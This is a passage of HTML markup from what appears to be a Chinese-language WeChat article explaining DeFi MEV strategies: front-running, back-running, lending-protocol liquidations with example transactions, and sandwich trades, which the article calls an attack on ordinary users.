1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;font-weight: 400;color: #333333;line-height: 24px;letter-spacing: 2px;" data-mid=""><strong><span style="letter-spacing: 1px;">抢  跑</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><h3 style="margin: 10pt 1em 0pt;text-align: left;text-indent: 0pt;line-height: normal;break-after: avoid;font-size: 14pt;font-family: Calibri;color: rgb(79, 129, 189);"></h3><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">顾名思义，抢跑（Front run）就是在目标交易之前进行交易来获取其中的利润，目标交易可以是一些能够触发价格变化的事件，比如在swap中新增了某个币种的流动性。</span></section><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">抢跑的方法也很简单，通过设置比目标交易略高的gas price可以使得searcher的交易紧跟在目标交易之前。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">抢跑有很多种获取利润的方式，其中有一种套利方法与背跑类似，主要的思路也为低买高卖。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);">还有一种操作是通过监控swap中新增币种的池子，在所有人之前先进行抢跑获取一定的token。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-size: 15px;font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);">当池子比较浅时，这样的做法会显著的提高token的价格，后序的交易者则需要承受更高价格来购买token，抢跑者在合适的价格后再将token卖出，获取利润。（详细例子可见uniswap上WTF/WETH的抢跑攻击）</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">不过抢跑这种操作会对后序的交易者带来金额上的损失，让区块链的环境变得更加恶劣。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;font-weight: 400;color: #333333;line-height: 24px;letter-spacing: 2px;" data-mid=""><strong><span style="letter-spacing: 1px;">背  跑</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">背跑（Back run）就是在目标交易之后紧接着进行交易来获取其中的利润，目标交易可以是大单的交易，也可以是预言机更新。</span></section><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">背跑的方法也很简单，通过设置比目标交易略低的gas price可以使得searcher的交易紧跟在目标交易之后。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">举个例子，此时searcher在memory pool中发现了一笔在uniswap上将USDT换成WETH的swap交易，由于数额巨大，该交易如果完成，将会显著抬高WETH/USDT池子中的USDT价格，和其它的Dex(比如Curve)出现价差。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">searcher会在它之后，在Uniswap和Curve之间进行套利。</span><span style="text-indent: 0pt;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">由于Uniswap中USDT的价格比Curve中要高，所以searcher低买高卖，获得更多了WETH，除去本金以及交易成本，获得利润。</span><span style="text-indent: 0pt;color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">这其实是最原始的套利模型，只是加上了价格的预测机制。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">背跑交易是一种聪明且取巧的行为，它不会对目标交易造成任何的影响，searcher只是抢在了其他人前面抓住了获利的机会。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;font-weight: 400;color: #333333;line-height: 24px;letter-spacing: 2px;" data-mid=""><strong><span style="letter-spacing: 1px;">清  算</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><p style="margin-left: 1em;margin-right: 1em;line-height: 1.5em;"><br/></p><section style="margin-left: 1em;margin-right: 1em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">清算是DeFi借贷协议中不可缺少的一环。借贷协议提供了一种以去中心化方式连接借方（Lenders）和贷方（Borrowers） 的平台，一方面，它允许贷方从平台借贷数字加密货币并支付利息，另一方面它允许储户向平台存入数字加密货币以赚取利息。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin-left: 16px;margin-right: 16px;"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 0px 11px 0px 8px;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 20px;height: 21px;align-self: flex-start;margin-left: 8px;margin-bottom: -23.1px;margin-top: 10px;display: flex;justify-content: center;align-items: center;z-index: 1;" data-mid="" mpa-from-tpl="t"><br/></section><section style="width: 100%;background: rgb(255, 255, 255);border-radius: 2px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="width: 100%;text-align: left;background: rgb(255, 255, 255);border-radius: 2px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 13px 14px 13px 18px;transform: translate(3px, -3.1px);" data-mid="" mpa-from-tpl="t"><p style="font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 1.75em;margin-left: 32px;margin-right: 32px;"><span style="letter-spacing: 1px;font-size: 15px;">为什么使用借贷平台？</span></p><p style="font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 1.75em;margin-left: 32px;margin-right: 32px;"><span style="letter-spacing: 1px;font-size: 15px;"><br/></span></p><p style="font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);text-align: justify;line-height: 1.75em;margin-left: 32px;margin-right: 32px;"><span style="font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;float: none;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;display: inline !important;">借贷平台的可操作性十分高，其中常见的一个操作是使用交易者进行杠杆交易。比如说，现在有一个投资者手上有AAVE，并且它在近期有向上涨的趋势，同时投资者还看好UNI，认为它在近期也有向上涨的趋势，又不想卖出AAVE来买入UNI。那么此时就可以将AAVE进行抵押，从借贷平台中借出一些ETH出来进行投资。在等到适当的时机后，将UNI卖出换成ETH，并将一部分的ETH还给借贷平台拿回AAVE。</span></p></section></section><section style="width: 44px;height: 9px;align-self: flex-end;margin-right: 2px;margin-top: -18.1px;display: flex;justify-content: center;align-items: center;margin-bottom: 10px;z-index: 1;" data-mid="" mpa-from-tpl="t"><br/></section></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">为了减轻风险，借贷协议一般采取超额抵押的模式，要求必须要有150%以上价值的抵押品，这能够保证在抵押品跌至低于贷款价值之前留有足够的缓冲空间。</span></span></section><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如果此时借出资产的价值上升，或者抵押品的价值下跌，而借款人没有及时的存入更多抵押品，那么就会面临清算。衡量是否会被清算的值叫</span><span style="font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(0, 122, 170);">健康度</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">，健康度计算公式为：抵押资产总价值 / 借出资产总值。</span></span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">在区块链世界中，借贷协议由智能合约来实现。由于智能合约的特性，在合约层面无法自动进行清算，只能提供执行清算的入口函数，供外部程序调用，调用清算函数的外部程序也被称为</span><span style="font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(0, 122, 170);">清算人</span><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">。</span></span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">清算人的主要任务是在市场中寻找健康度低于1的账户（underwater accounts），执行清算函数，获取利润（liquidation incentive）。</span></span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-size: 15px;"><span style="color: rgb(84, 84, 84);letter-spacing: 1px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">如何能够更快的发现利润高，且需要被清算的账户，是在清算竞争中赢得其他竞争者的关键。</span></span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在清算中，主要利用两种竞速的机制：gas拍卖和背跑。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 297px;height: 18px;display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="0.06060606060606061" data-w="594" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=bbaa4b8c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7kAv6FsXzW8YzAxnicoO2iaBPWDjiaCNtQ2Rb3AZ0ClQpIrG7uwjqtdvOMB0k8dzOpUIFXjjm5icF7xKYCErq3rO7g%2F640%3Fwx_fmt%3Dpng"/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="letter-spacing: 1px;font-size: 15px;"><span style="color: rgb(0, 122, 170);"><strong><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">gas拍卖（Gas Auction）</span></strong></span></span></section><section style="text-indent: 0em;margin: 8px 1em 24px;line-height: 1.75em;"><span style="font-size: 15px;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);">gas拍卖主要是设置更高的gas price，以此能够跑赢竞争者，获取清算的利润。</span><span style="letter-spacing: 1px;font-family: Cambria;"><o:p></o:p></span></span></section><section style="margin: 0pt 1em 10pt;text-align: justify;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 15px;"> <img class="rich_pages wxw-img" data-ratio="0.08928571428571429" style="width:560.010009765625px;height:49.900001525878906px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=4c284da0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDmicz4fa3FELKBySiaia2aEfVoQIC8OicbArO7QcKRBa0kVZ04xNC2MNwOQ%2F640%3Fwx_fmt%3Dpng"/></span></section><section style="margin: 0pt 1em 6pt;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;text-indent: 0em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;font-size: 15px;"> <br/></span></section><section style="margin: 8px 1em 24px;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.75em;"><span style="letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"><span style="color: rgb(84, 84, 84);font-family: Cambria;">在  0x35e334927757c618a1702d3bd618b735d6b249a3a5d56ff1bc638375d1ce7db6这笔清算中，清算人使用了8,898</span><span style="color: rgb(84, 84, 84);font-family: Cambria;font-weight: bold;">.</span><span style="color: rgb(84, 84, 84);font-family: Cambria;">471487863 Gwei（约8 ETH）来获得清算的优先权，清算得到的收益为25 ETH，最终获利约17 ETH。</span></span></section><section style="margin: 8px 1em 24px;line-height: 1.75em;"><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 15px;"><strong><span style="letter-spacing: 1px;font-size: 15px;color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">背跑</span></strong></span><span style="color: rgb(0, 122, 170);letter-spacing: 1px;font-size: 15px;"><strong><span style="letter-spacing: 1px;font-size: 15px;color: rgb(0, 122, 170);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">（Back run）</span></strong></span></section><section style="margin: 8px 1em 24px;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">背跑主要是监控了触发清算的事件，比如价格预言机的价格更新，然后尽可能地抢在事件之后立刻进行清算。</span></section><p style="margin: 0pt 1em 10pt;text-align: justify;break-after: avoid;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.5em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;"> </span><span style="font-family: Cambria;font-size: 14px;color: rgb(66, 66, 66);letter-spacing: 1px;"><img class="rich_pages wxw-img" data-ratio="0.24107142857142858" style="width: 560.01px;height: 134.72px;border-radius: 3px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=bc553887&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDmYQkHwBy5uzQTRMAzugqZ0bicyUYpicIbcZCF6lCGqugfX73AT9GXyow%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="margin: 0pt 1em 6pt;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;font-style: italic;text-indent: 0em;line-height: 1.5em;"><span style="font-family: Cambria;font-size: 14px;color: rgb(66, 66, 66);letter-spacing: 1px;"> <br/></span></p><section style="margin: 8px 1em 24px;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">在0x61247978224b2742375399c6c6c3bbe7c0aa9245ac3c9ae154fdeca026158f2f这笔清算中，清算人在价格预言机更新DAI/ETH价格之后（0xf3753b1870098694e6bf3d0e01a0205fe2d24b6d0d9dcd1fd6ad281b7e2b2e5b），紧接着发起了清算，抢在其他人面前获取到了清算的利润（6.49 ETH）。</span></section><section style="margin: 8px 1em 24px;text-align: justify;font-size: 12pt;font-family: Cambria;font-weight: normal;text-indent: 0em;line-height: 1.75em;"><span style="font-family: Cambria;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">仔细观察一下这个表格，可以发现从5个不同的清算人总共发起了12笔清算的尝试，有两笔交易甚至还发生在预言机更新价格之前。这有点像堆喷射技术，在各个地方都插入交易来尝试进行清算。</span></section><p style="line-height: 1.5em;margin-left: 1em;margin-right: 1em;"><br/></p><section style="display: flex;justify-content: center;align-items: center;width: 100%;margin-left: 1em;margin-right: 1em;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="height: 4px;width: 94%;border-width: 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-left-style: solid;border-color: initial;border-bottom-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;align-items: flex-start;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;width: 4px;border-width: 1px 0px 1px 1px;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-right-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section><section style="display: flex;justify-content: center;align-items: center;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);" data-mid="" mpa-from-tpl="t"><section style="margin-left: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(90deg);" data-mid="" mpa-from-tpl="t"><br/></section><section style="height: 36px;padding: 6px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Regular, PingFang SC;font-weight: 400;color: #333333;line-height: 24px;letter-spacing: 2px;" data-mid=""><strong><span style="letter-spacing: 1px;">三明治交易</span></strong></p></section><section style="margin-right: 4px;width: 0px;height: 0px;border-top: 5px solid #CFDBD6;border-left: 4px solid transparent;border-right: 4px solid transparent;transform: rotate(-90deg);" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 38px;width: 4px;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-color: initial;border-left-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="height: 4px;width: 94%;border-width: 0px 1px 1px;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-color: initial;border-top-style: initial;" data-mid="" mpa-from-tpl="t"><br/></section></section></section><p style="margin-left: 1em;margin-right: 1em;"><br/></p><h3 style="margin: 10pt 1em 0pt;text-align: left;text-indent: 0pt;line-height: normal;break-after: avoid;font-size: 14pt;font-family: Calibri;color: rgb(79, 129, 189);"></h3><section style="margin: 8px 1em 24px;text-align: justify;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">三明治交易是另一种常用的获取MEV的方法，他是一种把抢跑和背跑结合在一起的套利方式。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">具体来说，在进行三明治交易之前，searcher需要实时地监控memory pool，寻找dex上准备进行大笔金额的交易。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">比如，此时某个用户打算在uniswap上使用DAI来换取10,000 UNI，这样大量兑换UNI的操作，势必会对UNI/DAI池子有一定的影响，从而导致价格的变化，在这里UNI的价格会上涨。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">那么searcher就可以在用户交易前先买入UNI，等待用户的交易完成后（UNI价格上涨），紧随其后立刻卖出UNI，从中挣取利润。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">而利润的根源在于用户进行swap时设置的滑点，当轮到受害者进行交易时，虽然此时的价格相比于用户想要的价格稍高，但是因为滑点的存在，交易不会被撤回，用户仍然能够完成交易，只不过会承受更多滑点所造成的损失。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">因此三明治交易在某种意义上是对普通用户的一种攻击。</span></section><section style="margin: 8px 1em 24px;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.75em;"><span style="font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 1px;color: rgb(84, 84, 84);font-size: 15px;">下图呈现了两种比较典型的三明治攻击方法，左图是以交易者的身份进行攻击，右图是以流动性提供者的身份进行攻击。</span></section><p style="margin: 9pt 1em;text-align: justify;text-indent: 0pt;font-size: 12pt;font-family: Cambria;font-weight: normal;line-height: 1.5em;"><span style="font-size: 14px;color: rgb(66, 66, 66);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, 